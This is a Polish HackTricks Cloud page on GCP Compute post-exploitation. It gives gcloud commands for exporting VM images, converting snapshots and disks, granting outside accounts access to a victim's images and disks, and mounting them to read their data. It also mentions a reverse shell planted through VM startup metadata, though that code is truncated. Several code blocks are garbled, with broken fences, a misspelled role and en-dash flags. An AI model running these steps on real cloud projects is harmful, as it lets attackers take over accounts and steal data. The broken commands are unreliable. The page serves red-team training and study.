GCP - Compute Post Exploitation
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Compute
Aby uzyskać więcej informacji o Compute i VPC (Networking), sprawdź:
Eksport i przegląd obrazów lokalnie
Pozwoli to atakującemu na uzyskanie dostępu do danych zawartych w już istniejących obrazach lub utworzenie nowych obrazów działających VM-ów i dostęp do ich danych bez dostępu do uruchomionej maszyny wirtualnej.
Można wyeksportować obraz VM do bucketu, a następnie pobrać go i zamontować lokalnie poleceniem:
Eksportuj i pobierz obraz VM
```bash gcloud compute images export --destination-uri gs://Aby wykonać tę akcję atakujący może potrzebować uprawnień do storage bucket i z pewnością uprawnień do cloudbuild, ponieważ to ten service zostanie poproszony o przeprowadzenie eksportu
Co więcej, aby to zadziałało codebuild SA i compute SA potrzebują uprzywilejowanych uprawnień.
cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com potrzebuje:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
A SA <project-id>-compute@developer.gserviceaccount.com potrzebuje:
- oles/compute.storageAdmin
- roles/storage.objectAdmin
Eksport & Inspekcja Snapshots & Disks lokalnie
Nie można bezpośrednio eksportować snapshots i disks, ale można przekształcić snapshot w disk, disk w image i zgodnie z poprzednią sekcją, wyeksportować ten image, aby sprawdzić go lokalnie
Utwórz disk ze snapshot i image z disku
```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]Create an image from a disk
gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]
</details>
### Inspekcja obrazu tworząc VM
Z zamiarem uzyskania dostępu do **danych przechowywanych w obrazie** lub wewnątrz **działającej VM** z miejsca, z którego atakujący **utworzył obraz,** możliwe jest przyznanie zewnętrznemu kontu dostępu do obrazu:
<details>
<summary>Przyznaj dostęp do obrazu i utwórz VM</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
a następnie utwórz z niego nową instancję VM:
Utwórz instancję VM z obrazu
```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```Jeżeli nie możesz przyznać zewnętrznemu kontu dostępu do obrazu, możesz uruchomić VM używając tego obrazu w projekcie ofiary i sprawić, by metadane uruchomiły reverse shell, aby uzyskać dostęp do obrazu, dodając parametr:
Utwórz VM z reverse shell w metadanych
```bash --metadata startup-script='#! /bin/bash echo "hello";Inspekcja Snapshot/Disk przez dołączenie go do VM
W celu uzyskania dostępu do danych przechowywanych na disk lub snapshot, możesz przekształcić snapshot w disk, disk w image i wykonać poprzednie kroki.
Albo możesz przyznać zewnętrznemu kontu dostęp do disk (jeśli punktem wyjścia jest snapshot — przyznaj dostęp do snapshot albo utwórz z niego disk):
Przyznaj dostęp do disk
```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```Podłącz dysk do instancji:
Podłącz dysk do instancji
```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```Zamontuj dysk wewnątrz VM:
- SSH into the VM:
SSH do VM i zamontuj dysk
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
- Zidentyfikuj dysk: Po wejściu do VM zidentyfikuj nowy dysk, wypisując urządzenia dyskowe. Zazwyczaj będzie widoczny jako
/dev/sdb,/dev/sdc, itp. - Sformatuj i zamontuj dysk (jeśli to nowy lub surowy dysk):
- Utwórz punkt montowania:
Utwórz punkt montowania i zamontuj
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
- Zamontuj dysk:
Zamontuj urządzenie dyskowe
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
Jeśli nie możesz udzielić dostępu projektowi zewnętrznemu do snapshotu lub dysku, może być konieczne wykonanie tych działań wewnątrz instancji w tym samym projekcie co snapshot/dysk.
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

